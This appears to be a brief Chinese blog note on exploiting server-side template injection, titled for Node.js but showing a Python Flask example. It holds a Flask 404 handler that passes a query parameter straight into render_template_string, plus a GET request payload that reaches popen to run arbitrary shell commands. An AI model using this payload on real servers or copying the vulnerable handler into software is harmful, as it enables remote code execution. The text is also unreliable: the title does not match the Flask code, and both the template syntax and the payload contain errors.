【笔记】Nodejs的SSTI模板注入漏洞利用

发表于 更新于 阅读次数：

前言

Nodejs的SSTI模板注入漏洞利用

可能出现漏洞的环境

  • 在后端语言渲染前端模板时传递了变量，并能通过参数改变变量的值

  • 在Python中使用Flask框架举例

1
2
3
4
5
6
7
8
9
10
@app.errorhandler(404)
def page_not_found(e):
    template = """
    {%% block body %%}
        <div>
            <h1>%s</h1>
        </div>
    {%% end body %%}
    """ % (request.args.get('key'))
    return render_template_string(template), 404

payload

<shell>：Shell命令

request
1
GET http://127.0.0.1:80/404?key={{"".__class__.__bases__[0].__subclasses__{}[128].__init__.__globals__["popen"]("<shell>").read()}} HTTP/1.1

完成

参考文献

哔哩哔哩——逆风微笑的代码狗